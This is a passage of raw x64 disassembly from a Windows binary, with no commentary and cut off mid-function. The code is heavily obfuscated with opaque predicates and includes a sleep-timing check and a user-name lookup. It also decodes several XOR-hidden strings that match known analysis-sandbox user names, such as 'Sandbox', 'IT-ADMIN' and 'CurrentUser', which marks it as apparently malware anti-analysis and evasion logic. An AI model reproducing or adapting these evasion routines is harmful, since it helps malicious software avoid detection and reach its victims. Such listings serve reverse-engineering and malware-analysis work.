add r8d, 0xd0725d56
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xa6
mov byte [rbp + rax + 0x1f0], r8b
jmp 0x14002fcb6
test al, al
setne al
and dil, al
cmp dil, 1
jne 0x14003023f
movabs rax, 0x98bab6438b37e63b
mov qword [rbp + 0x1f0], rax
mov word [rbp + 0x1f8], 0xed9e
xorps xmm0, xmm0
movups xmmword [rbp + 0x1fa], xmm0
mov dword [rbp + 0x20a], 0
call fcn.140044ae0
mov rdi, qword [rax]
call fcn.140044af0
mov rcx, qword [rax]
xor eax, eax
jmp 0x14002fef1
mov r10, rcx
dec rax
mov rcx, r10
inc rax
cmp rax, 0x1e
jae 0x140030237
cmp rdi, rax
ja 0x14003021e
movzx r8d, byte [rbp + rax + 0x1f0]
movzx edx, r8b
lea r10, [rcx + 1]
cmp rdi, r10
jae 0x14002ff70
cmp rcx, rax
ja 0x140030230
lea r9, [rdi + rcx]
cmp r9, rax
jbe 0x14002ffc0
cmp rdi, r10
mov r10, rdi
je 0x14002fede
lea r8, [rcx + 2]
cmp rdi, r8
je 0x14002fedb
lea r8, [rcx + 3]
cmp rdi, r8
jne 0x1400301ae
lea r10d, [rax - 0x6b048c5c]
lea r8d, [rax + rdx]
add r8d, 0x94fb73a4
and r10d, edx
add r10d, r10d
sub r8d, r10d
add r8b, 0x84
jmp 0x140030172
je 0x14003003e
lea r9, [rcx + 2]
cmp rdi, r9
je 0x140030004
lea r9, [rcx + 3]
cmp rdi, r9
jne 0x14003011a
lea r9d, [rax + 0x2259f919]
lea r8d, [rax + rdx]
add r8d, 0x2259f919
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x51
add rdi, rcx
mov r9, rdi
jmp 0x140030172
cmp r9, 5
jne 0x14003004d
lea r8d, [rax - 0xca54c81]
lea r9d, [rax + rdx]
add r9d, 0xf35ab37f
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0x87
mov byte [rbp + rax + 0x1f0], r9b
movzx r8d, r9b
not rcx
add rcx, rax
sub rcx, r8
mov rax, rcx
mov rcx, r10
lea r8d, [rax - 0x6c76fe44]
lea r9d, [rax + rdx]
add r9d, 0x938901bc
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0xdc
mov byte [rbp + rax + 0x1f0], r9b
sub rax, rdi
inc rdi
movzx r8d, byte [rbp + rax + 0x1ee]
add rax, 0xfffffffffffffffe
movzx edx, r8b
add rax, rcx
add rax, rdx
jmp 0x14002fee4
lea ebx, [rax - 0x5fd1b1c3]
lea r11d, [rax + rdx]
add r11d, 0xa02e4e3d
and ebx, edx
add ebx, ebx
sub r11d, ebx
add r11b, 0x55
cmp rdi, r10
jbe 0x1400300dd
lea ebx, [rax + 0x2b08a489]
lea r11d, [rax + rdx]
add r11d, 0x2b08a489
and ebx, edx
add ebx, ebx
sub r11d, ebx
add r11b, 0x41
cmp rdi, 3
ja 0x140030150
cmp rdi, r10
je 0x14003003e
lea r8, [rcx + 2]
cmp rdi, r8
je 0x14002ffca
lea r8, [rcx + 3]
cmp rdi, r8
jne 0x1400301ee
lea r9d, [rax + 0x50478172]
lea r8d, [rax + rdx]
add r8d, 0x50478172
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xe2
mov r9d, 3
jmp 0x14003019c
je 0x140030127
lea rbx, [rcx + 2]
cmp rdi, rbx
je 0x14002fedb
lea rbx, [rcx + 3]
cmp rdi, rbx
jne 0x1400301dc
lea r10d, [rax + 0x2c7b1671]
lea r8d, [rax + rdx]
add r8d, 0x2c7b1671
and r10d, edx
add r10d, r10d
sub r8d, r10d
add r8b, 0xe9
jmp 0x140030172
lea r9, [rcx + 8]
cmp rdi, r9
jne 0x14002ff10
lea ecx, [rax + 0x72a17a8b]
lea r8d, [rdx + rax]
add r8d, 0x72a17a8b
and ecx, edx
add ecx, ecx
sub r8d, ecx
add r8b, 0x33
mov byte [rbp + rax + 0x1f0], r8b
jmp 0x14002fede
lea r10d, [rax + 0x12cfc8c8]
lea r11d, [rax + rdx]
add r11d, 0x12cfc8c8
and r10d, edx
add r10d, r10d
sub r11d, r10d
add r8b, r11b
add r8b, 0x88
lea r10d, [rax - 0x4d01e8fb]
lea r11d, [rdx + rax]
add r11d, 0xb2fe1705
and r10d, edx
add r10d, r10d
sub r11d, r10d
add r11b, r8b
add r11b, 0xdd
mov byte [rbp + rax + 0x1f0], r11b
movzx edx, r8b
not rdx
add rax, rdx
mov rdi, r9
jmp 0x14002fee4
lea r8, [rcx + 4]
cmp rdi, r8
jne 0x14002fec7
lea r10d, [rax - 0x2aa7efe2]
lea r8d, [rax + rdx]
add r8d, 0xd558101e
and r10d, edx
add r10d, r10d
sub r8d, r10d
add r8b, 0x2e
jmp 0x14003019c
lea rbx, [rcx + 4]
cmp rdi, rbx
je 0x14003003e
jmp 0x14003008a
mov byte [rbp + rax + 0x1f0], r11b
jmp 0x14002fee4
lea rsi, [rbp + 0x4331ae]
jmp 0x14003020b
lea rsi, [rbp + 0x178d138]
mov rcx, rsi
call fcn.140077020
jmp 0x140030268
lea rsi, [rbp + 0x89150e]
jmp 0x140030237
lea rsi, [rbp + 0x4ae129]
jmp 0x140030237
lea rsi, [rbp + 0x156b7b8]
jmp 0x140030237
lea rsi, [rbp + 0x15c92ec]
mov rcx, rsi
call fcn.140077020
mov byte [0x1400bab40], 1
mov dword [rbp + 0x1f0], 1
lea rdx, [rbp + 0x1f0]
mov r8d, 4
mov ecx, 8
call qword [0x1400bac30]
call qword [0x1400bac70]
mov rsi, rax
mov ecx, 0x12c
call qword [0x1400bac10]
shl rsi, 0x20
movabs rdi, 0xfffffed400000000
sub rdi, rsi
shr rdi, 0x20
call qword [0x1400bac70]
add rax, rdi
cdqe
mov rcx, rax
shr rcx, 0x20
sub eax, ecx
xor eax, ecx
cmp eax, 0x65
jl 0x1400302c0
mov rsi, qword [0x1400bac08]
call qword [0x1400bab98]
mov rcx, rax
xor edx, edx
call rsi
cmp byte [0x1400b42f8], 0
je 0x1400305f2
movaps xmm0, xmmword [0x140093d30]
movaps xmmword [rbp + 0x1f0], xmm0
mov dword [rbp + 0x200], 0xefeffcfb
mov byte [rbp + 0x204], 0x22
xorps xmm0, xmm0
movups xmmword [rbp + 0x205], xmm0
movups xmmword [rbp + 0x20f], xmm0
lea rsi, [rbp + 0x1f0]
call fcn.140044ae0
mov rdi, qword [rax]
call fcn.140044af0
mov rcx, qword [rax]
xor eax, eax
jmp 0x14003036c
mov r8, rcx
lea ecx, [rax - 0x555aa2fc]
lea r9d, [rax + rdx]
add r9d, 0xaaa55d04
and ecx, edx
add ecx, ecx
sub r9d, ecx
add r9b, 0xe4
mov byte [rbp + rax + 0x1f0], r9b
sub rax, rdi
inc rdi
movzx r10d, byte [rbp + rax + 0x1ee]
add rax, 0xfffffffffffffffe
mov rcx, r8
movzx edx, r10b
add rax, rcx
add rax, rdx
inc rax
cmp rax, 0x2f
jae 0x1400305ea
cmp rdi, rax
ja 0x1400305da
movzx r10d, byte [rbp + rax + 0x1f0]
movzx edx, r10b
lea r8, [rcx + 1]
cmp rdi, r8
jae 0x1400303d0
cmp rcx, rax
ja 0x1400305e3
lea r9, [rcx + 0x10]
cmp rdi, r9
jb 0x1400303f0
cmp rdi, r8
jne 0x1400303f0
lea ecx, [rax - 0x7ebc61b]
lea r9d, [rdx + rax]
add r9d, 0xf81439e5
and ecx, edx
add ecx, ecx
sub r9d, ecx
add r9b, 0xbd
mov byte [rbp + rax + 0x1f0], r9b
dec rax
mov rcx, r8
jmp 0x14003035f
je 0x140030355
lea r9, [rcx + 2]
cmp rdi, r9
je 0x140030318
lea r9, [rcx + 7]
cmp rdi, r9
jne 0x14003038b
mov r8, rcx
jmp 0x1400303c6
lea r9, [rdi + rcx]
cmp r9, rax
jbe 0x140030433
lea r11, [rcx + 0x2a]
cmp rdi, r11
je 0x1400303c6
lea r11, [rcx + 0xa]
cmp rdi, r11
jne 0x1400304f8
lea r8d, [rax + 0x61f3fb9c]
lea r10d, [rax + rdx]
add r10d, 0x61f3fb9c
and r8d, edx
add r8d, r8d
sub r10d, r8d
add r10b, 0xbc
jmp 0x14003057a
cmp r9, 8
jne 0x140030475
lea r9d, [rax + 0x53bb8931]
lea r10d, [rax + rdx]
add r10d, 0x53bb8931
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, 0xa9
mov byte [rbp + rax + 0x1f0], r10b
movzx r9d, r10b
not rcx
add rcx, rax
sub rcx, r9
mov rax, rcx
jmp 0x14003031b
lea r11, [rcx + 3]
cmp rdi, r11
jbe 0x140030506
cmp rdi, 0x28
jae 0x140030558
cmp rdi, r8
je 0x140030355
lea ebx, [rax - 0x4a4886b9]
lea r10d, [rax + rdx]
add r10d, 0xb5b77947
and ebx, edx
add ebx, ebx
sub r10d, ebx
add r10b, 0xf
lea rbx, [rcx + 2]
cmp rdi, rbx
je 0x140030318
cmp rdi, r11
je 0x140030439
lea r11, [rcx + 4]
cmp rdi, r11
jne 0x1400305b6
lea r8d, [rax + 0x3c081fd4]
lea r10d, [rax + rdx]
add r10d, 0x3c081fd4
and r8d, edx
add r8d, r8d
sub r10d, r8d
add r10b, 0x34
jmp 0x1400305a4
cmp rdi, r8
je 0x140030355
jmp 0x140030304
cmp rdi, r8
je 0x1400303a2
lea rbx, [rcx + 2]
cmp rdi, rbx
je 0x1400303c6
cmp rdi, r11
je 0x1400303e8
cmp rdi, 0x28
jae 0x140030558
lea r14d, [rax + 0x56e9d3d3]
lea r10d, [rax + rdx]
add r10d, 0x56e9d3d3
and r14d, edx
add r14d, r14d
sub r10d, r14d
add r10b, 0x3b
cmp rdi, rbx
je 0x140030318
jmp 0x1400304be
lea r8d, [rax + 0x4efe0db8]
lea r11d, [rax + rdx]
add r11d, 0x4efe0db8
and r8d, edx
add r8d, r8d
sub r11d, r8d
add r10b, r11b
add r10b, 0xf8
lea r8d, [rax - 0x5a181e75]
lea r11d, [rdx + rax]
add r11d, 0xa5e7e18b
and r8d, edx
add r8d, r8d
sub r11d, r8d
add r11b, r10b
add r11b, 0x33
mov byte [rbp + rax + 0x1f0], r11b
movzx edx, r10b
not rdx
add rax, rdx
mov rdi, r9
jmp 0x14003035f
cmp rcx, 8
ja 0x1400303a2
lea r9, [rcx + 7]
cmp rdi, r9
je 0x1400303a2
mov byte [rbp + rax + 0x1f0], r10b
jmp 0x14003035f
lea rsi, [rbp + 0x1442787]
jmp 0x1400305ea
lea rsi, [rbp + 0x15a53b4]
mov rcx, rsi
call fcn.140077020
mov dword [rbp + 0x1ec], 0x100
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0x1ec]
call qword [0x1400bad88]
mov byte [rbp + 0x4ac], 0x49
mov byte [rbp + 0x4ad], 0x7b
mov byte [rbp + 0x4ae], pe_nt_image_headers64
mov byte [rbp + 0x4af], pe_nt_image_headers64
mov byte [rbp + 0x4b0], 0x6b
mov byte [rbp + 0x4b1], 0x74
mov byte [rbp + 0x4b2], 0x7a
mov byte [rbp + 0x4b3], 0x5b
mov byte [rbp + 0x4b4], 0x79
mov byte [rbp + 0x4b5], 0x6b
mov byte [rbp + 0x4b6], pe_nt_image_headers64
mov byte [rbp + 0x4b7], 0
add byte [rbp + 0x4ac], 0xfa
add byte [rbp + 0x4ad], 0xfa
add byte [rbp + 0x4ae], 0xfa
add byte [rbp + 0x4af], 0xfa
add byte [rbp + 0x4b0], 0xfa
add byte [rbp + 0x4b1], 0xfa
add byte [rbp + 0x4b2], 0xfa
add byte [rbp + 0x4b3], 0xfa
add byte [rbp + 0x4b4], 0xfa
add byte [rbp + 0x4b5], 0xfa
add byte [rbp + 0x4b6], 0xfa
xorps xmm0, xmm0
movaps xmmword [rbp + 0x200], xmm0
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x4ac]
call fcn.1400778d0
test rax, rax
js 0x14003344c
mov rsi, rax
cmp rax, 0xf
ja 0x140030717
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x208], 0xf
lea rcx, [rbp + 0x1f0]
lea rdx, [rbp + 0x4ac]
mov r8, rsi
call fcn.140091230
add rsi, rbp
add rsi, 0x1f0
jmp 0x1400307ae
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x140030763
lea rcx, [rbx + 0x28]
mov byte [rbp + 0x5b7], 0
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x5a8], rax
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140030784
lea rcx, [rbx + 1]
mov byte [rbp + 0x5b7], 0
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x5a8], rax
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x208], rbx
lea rdx, [rbp + 0x4ac]
mov rcx, rdi
mov r8, rsi
call fcn.140091230
add rsi, rdi
mov byte [rsi], 0
lea rdi, [rbp + 0x210]
mov dword [rbp + 0x590], 0x71
lea rsi, [rbp + 0x594]
mov eax, dword [rbp + 0x590]
xor al, 0x53
mov byte [rbp + 0x594], al
mov eax, dword [rbp + 0x590]
inc al
xor al, 0x61
mov byte [rbp + 0x595], al
mov eax, dword [rbp + 0x590]
add al, 2
xor al, 0x6e
mov byte [rbp + 0x596], al
mov eax, dword [rbp + 0x590]
add al, 3
xor al, 0x64
mov byte [rbp + 0x597], al
mov eax, dword [rbp + 0x590]
add al, 4
xor al, 0x62
mov byte [rbp + 0x598], al
mov eax, dword [rbp + 0x590]
add al, 5
xor al, 0x6f
mov byte [rbp + 0x599], al
mov eax, dword [rbp + 0x590]
add al, 6
xor al, 0x78
mov byte [rbp + 0x59a], al
mov byte [rbp + 0x59b], 0
movzx eax, byte [rbp + 0x594]
mov ecx, dword [rbp + 0x590]
xor cl, al
mov byte [rbp + 0x594], cl
movzx eax, byte [rbp + 0x595]
mov ecx, dword [rbp + 0x590]
inc cl
xor cl, al
mov byte [rbp + 0x595], cl
movzx eax, byte [rbp + 0x596]
mov ecx, dword [rbp + 0x590]
add cl, 2
xor cl, al
mov byte [rbp + 0x596], cl
movzx eax, byte [rbp + 0x597]
mov ecx, dword [rbp + 0x590]
add cl, 3
xor cl, al
mov byte [rbp + 0x597], cl
movzx eax, byte [rbp + 0x598]
mov ecx, dword [rbp + 0x590]
add cl, 4
xor cl, al
mov byte [rbp + 0x598], cl
movzx eax, byte [rbp + 0x599]
mov ecx, dword [rbp + 0x590]
add cl, 5
xor cl, al
mov byte [rbp + 0x599], cl
movzx eax, byte [rbp + 0x59a]
mov ecx, dword [rbp + 0x590]
add cl, 6
xor cl, al
mov byte [rbp + 0x59a], cl
mov byte [rbp + 0x59b], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x220], xmm0
movaps xmmword [rbp + 0x210], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x140033466
mov rbx, rax
cmp rax, 0xf
ja 0x140030928
mov qword [rbp + 0x220], rbx
mov qword [rbp + 0x228], 0xf
jmp 0x14003099d
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x14003096e
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140030988
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x210], rdi
mov qword [rbp + 0x220], rbx
mov qword [rbp + 0x228], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x230]
mov dword [rbp + 0x504], 0x16
lea rsi, [rbp + 0x508]
mov eax, dword [rbp + 0x504]
xor al, 0x45
mov byte [rbp + 0x508], al
mov eax, dword [rbp + 0x504]
inc al
xor al, 0x6d
mov byte [rbp + 0x509], al
mov eax, dword [rbp + 0x504]
add al, 2
xor al, 0x69
mov byte [rbp + 0x50a], al
mov eax, dword [rbp + 0x504]
add al, 3
xor al, 0x6c
mov byte [rbp + 0x50b], al
mov eax, dword [rbp + 0x504]
add al, 4
xor al, 0x79
mov byte [rbp + 0x50c], al
mov byte [rbp + 0x50d], 0
movzx eax, byte [rbp + 0x508]
mov ecx, dword [rbp + 0x504]
xor cl, al
mov byte [rbp + 0x508], cl
movzx eax, byte [rbp + 0x509]
mov ecx, dword [rbp + 0x504]
inc cl
xor cl, al
mov byte [rbp + 0x509], cl
movzx eax, byte [rbp + 0x50a]
mov ecx, dword [rbp + 0x504]
add cl, 2
xor cl, al
mov byte [rbp + 0x50a], cl
movzx eax, byte [rbp + 0x50b]
mov ecx, dword [rbp + 0x504]
add cl, 3
xor cl, al
mov byte [rbp + 0x50b], cl
movzx eax, byte [rbp + 0x50c]
mov ecx, dword [rbp + 0x504]
add cl, 4
xor cl, al
mov byte [rbp + 0x50c], cl
mov byte [rbp + 0x50d], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x240], xmm0
movaps xmmword [rbp + 0x230], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x140033479
mov rbx, rax
cmp rax, 0xf
ja 0x140030ad8
mov qword [rbp + 0x240], rbx
mov qword [rbp + 0x248], 0xf
jmp 0x140030b4d
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140030b1e
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140030b38
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x230], rdi
mov qword [rbp + 0x240], rbx
mov qword [rbp + 0x248], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x250]
mov dword [rbp + 0x59c], 0x47
lea rsi, [rbp + 0x5a0]
mov eax, dword [rbp + 0x59c]
xor al, 0x48
mov byte [rbp + 0x5a0], al
mov eax, dword [rbp + 0x59c]
inc al
xor al, 0x41
mov byte [rbp + 0x5a1], al
mov eax, dword [rbp + 0x59c]
add al, 2
xor al, 0x50
mov byte [rbp + 0x5a2], al
mov eax, dword [rbp + 0x59c]
add al, 3
xor al, 0x55
mov byte [rbp + 0x5a3], al
mov eax, dword [rbp + 0x59c]
add al, 4
xor al, 0x42
mov byte [rbp + 0x5a4], al
mov eax, dword [rbp + 0x59c]
add al, 5
xor al, 0x57
mov byte [rbp + 0x5a5], al
mov eax, dword [rbp + 0x59c]
add al, 6
xor al, 0x53
mov byte [rbp + 0x5a6], al
mov byte [rbp + 0x5a7], 0
movzx eax, byte [rbp + 0x5a0]
mov ecx, dword [rbp + 0x59c]
xor cl, al
mov byte [rbp + 0x5a0], cl
movzx eax, byte [rbp + 0x5a1]
mov ecx, dword [rbp + 0x59c]
inc cl
xor cl, al
mov byte [rbp + 0x5a1], cl
movzx eax, byte [rbp + 0x5a2]
mov ecx, dword [rbp + 0x59c]
add cl, 2
xor cl, al
mov byte [rbp + 0x5a2], cl
movzx eax, byte [rbp + 0x5a3]
mov ecx, dword [rbp + 0x59c]
add cl, 3
xor cl, al
mov byte [rbp + 0x5a3], cl
movzx eax, byte [rbp + 0x5a4]
mov ecx, dword [rbp + 0x59c]
add cl, 4
xor cl, al
mov byte [rbp + 0x5a4], cl
movzx eax, byte [rbp + 0x5a5]
mov ecx, dword [rbp + 0x59c]
add cl, 5
xor cl, al
mov byte [rbp + 0x5a5], cl
movzx eax, byte [rbp + 0x5a6]
mov ecx, dword [rbp + 0x59c]
add cl, 6
xor cl, al
mov byte [rbp + 0x5a6], cl
mov byte [rbp + 0x5a7], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x260], xmm0
movaps xmmword [rbp + 0x250], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x14003348c
mov rbx, rax
cmp rax, 0xf
ja 0x140030cd8
mov qword [rbp + 0x260], rbx
mov qword [rbp + 0x268], 0xf
jmp 0x140030d4d
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140030d1e
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140030d38
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x250], rdi
mov qword [rbp + 0x260], rbx
mov qword [rbp + 0x268], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x270]
mov dword [rbp + 0x4b8], 0x1d
lea rsi, [rbp + 0x4bc]
mov byte [rbp + 0x4bc], 0x55
mov byte [rbp + 0x4bd], 0x72
mov byte [rbp + 0x4be], 0x73
mov byte [rbp + 0x4bf], pe_nt_image_headers64
mov byte [rbp + 0x4c0], 0x3d
mov byte [rbp + 0x4c1], 0x51
mov byte [rbp + 0x4c2], pe_nt_image_headers64
mov byte [rbp + 0x4c3], pe_nt_image_headers64
mov byte [rbp + 0x4c4], 0
movzx eax, byte [rbp + 0x4bc]
mov ecx, dword [rbp + 0x4b8]
xor cl, al
mov byte [rbp + 0x4bc], cl
movzx eax, byte [rbp + 0x4bd]
mov ecx, dword [rbp + 0x4b8]
xor cl, al
mov byte [rbp + 0x4bd], cl
movzx eax, byte [rbp + 0x4be]
mov ecx, dword [rbp + 0x4b8]
xor cl, al
mov byte [rbp + 0x4be], cl
movzx eax, byte [rbp + 0x4bf]
mov ecx, dword [rbp + 0x4b8]
xor cl, al
mov byte [rbp + 0x4bf], cl
movzx eax, byte [rbp + 0x4c0]
mov ecx, dword [rbp + 0x4b8]
xor cl, al
mov byte [rbp + 0x4c0], cl
movzx eax, byte [rbp + 0x4c1]
mov ecx, dword [rbp + 0x4b8]
xor cl, al
mov byte [rbp + 0x4c1], cl
movzx eax, byte [rbp + 0x4c2]
mov ecx, dword [rbp + 0x4b8]
xor cl, al
mov byte [rbp + 0x4c2], cl
movzx eax, byte [rbp + 0x4c3]
mov ecx, dword [rbp + 0x4b8]
xor cl, al
mov byte [rbp + 0x4c3], cl
mov byte [rbp + 0x4c4], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x280], xmm0
movaps xmmword [rbp + 0x270], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x14003349f
mov rbx, rax
cmp rax, 0xf
ja 0x140030ea6
mov qword [rbp + 0x280], rbx
mov qword [rbp + 0x288], 0xf
jmp 0x140030f1b
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140030eec
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140030f06
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x270], rdi
mov qword [rbp + 0x280], rbx
mov qword [rbp + 0x288], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x290]
mov dword [rbp + 0x540], 0x7c
lea rsi, [rbp + 0x544]
mov eax, dword [rbp + 0x540]
xor al, 0x49
mov byte [rbp + 0x544], al
mov eax, dword [rbp + 0x540]
inc al
xor al, 0x54
mov byte [rbp + 0x545], al
mov eax, dword [rbp + 0x540]
add al, 2
xor al, 0x2d
mov byte [rbp + 0x546], al
mov eax, dword [rbp + 0x540]
add al, 3
xor al, 0x41
mov byte [rbp + 0x547], al
mov eax, dword [rbp + 0x540]
add al, 4
xor al, 0x44
mov byte [rbp + 0x548], al
mov eax, dword [rbp + 0x540]
add al, 5
xor al, 0x4d
mov byte [rbp + 0x549], al
mov eax, dword [rbp + 0x540]
add al, 6
xor al, 0x49
mov byte [rbp + 0x54a], al
mov eax, dword [rbp + 0x540]
add al, 7
xor al, 0x4e
mov byte [rbp + 0x54b], al
mov byte [rbp + 0x54c], 0
movzx eax, byte [rbp + 0x544]
mov ecx, dword [rbp + 0x540]
xor cl, al
mov byte [rbp + 0x544], cl
movzx eax, byte [rbp + 0x545]
mov ecx, dword [rbp + 0x540]
inc cl
xor cl, al
mov byte [rbp + 0x545], cl
movzx eax, byte [rbp + 0x546]
mov ecx, dword [rbp + 0x540]
add cl, 2
xor cl, al
mov byte [rbp + 0x546], cl
movzx eax, byte [rbp + 0x547]
mov ecx, dword [rbp + 0x540]
add cl, 3
xor cl, al
mov byte [rbp + 0x547], cl
movzx eax, byte [rbp + 0x548]
mov ecx, dword [rbp + 0x540]
add cl, 4
xor cl, al
mov byte [rbp + 0x548], cl
movzx eax, byte [rbp + 0x549]
mov ecx, dword [rbp + 0x540]
add cl, 5
xor cl, al
mov byte [rbp + 0x549], cl
movzx eax, byte [rbp + 0x54a]
mov ecx, dword [rbp + 0x540]
add cl, 6
xor cl, al
mov byte [rbp + 0x54a], cl
movzx eax, byte [rbp + 0x54b]
mov ecx, dword [rbp + 0x540]
add cl, 7
xor cl, al
mov byte [rbp + 0x54b], cl
mov byte [rbp + 0x54c], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2a0], xmm0
movaps xmmword [rbp + 0x290], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x1400334b2
mov rbx, rax
cmp rax, 0xf
ja 0x1400310ce
mov qword [rbp + 0x2a0], rbx
mov qword [rbp + 0x2a8], 0xf
jmp 0x140031143
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140031114
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14003112e
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x290], rdi
mov qword [rbp + 0x2a0], rbx
mov qword [rbp + 0x2a8], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x2b0]
mov dword [rbp + 0x51c], 0x5a
lea rsi, [rbp + 0x520]
mov byte [rbp + 0x520], 0x10
mov byte [rbp + 0x521], 0x35
mov byte [rbp + 0x522], 0x32
mov byte [rbp + 0x523], 0x34
mov byte [rbp + 0x524], 0x3b
mov byte [rbp + 0x525], 0x35
mov byte [rbp + 0x526], 0x34
mov byte [rbp + 0x527], 0
movzx eax, byte [rbp + 0x520]
mov ecx, dword [rbp + 0x51c]
xor cl, al
mov byte [rbp + 0x520], cl
movzx eax, byte [rbp + 0x521]
mov ecx, dword [rbp + 0x51c]
xor cl, al
mov byte [rbp + 0x521], cl
movzx eax, byte [rbp + 0x522]
mov ecx, dword [rbp + 0x51c]
xor cl, al
mov byte [rbp + 0x522], cl
movzx eax, byte [rbp + 0x523]
mov ecx, dword [rbp + 0x51c]
xor cl, al
mov byte [rbp + 0x523], cl
movzx eax, byte [rbp + 0x524]
mov ecx, dword [rbp + 0x51c]
xor cl, al
mov byte [rbp + 0x524], cl
movzx eax, byte [rbp + 0x525]
mov ecx, dword [rbp + 0x51c]
xor cl, al
mov byte [rbp + 0x525], cl
movzx eax, byte [rbp + 0x526]
mov ecx, dword [rbp + 0x51c]
xor cl, al
mov byte [rbp + 0x526], cl
mov byte [rbp + 0x527], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2c0], xmm0
movaps xmmword [rbp + 0x2b0], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x1400334c5
mov rbx, rax
cmp rax, 0xf
ja 0x140031280
mov qword [rbp + 0x2c0], rbx
mov qword [rbp + 0x2c8], 0xf
jmp 0x1400312f5
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x1400312c6
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400312e0
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x2b0], rdi
mov qword [rbp + 0x2c0], rbx
mov qword [rbp + 0x2c8], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
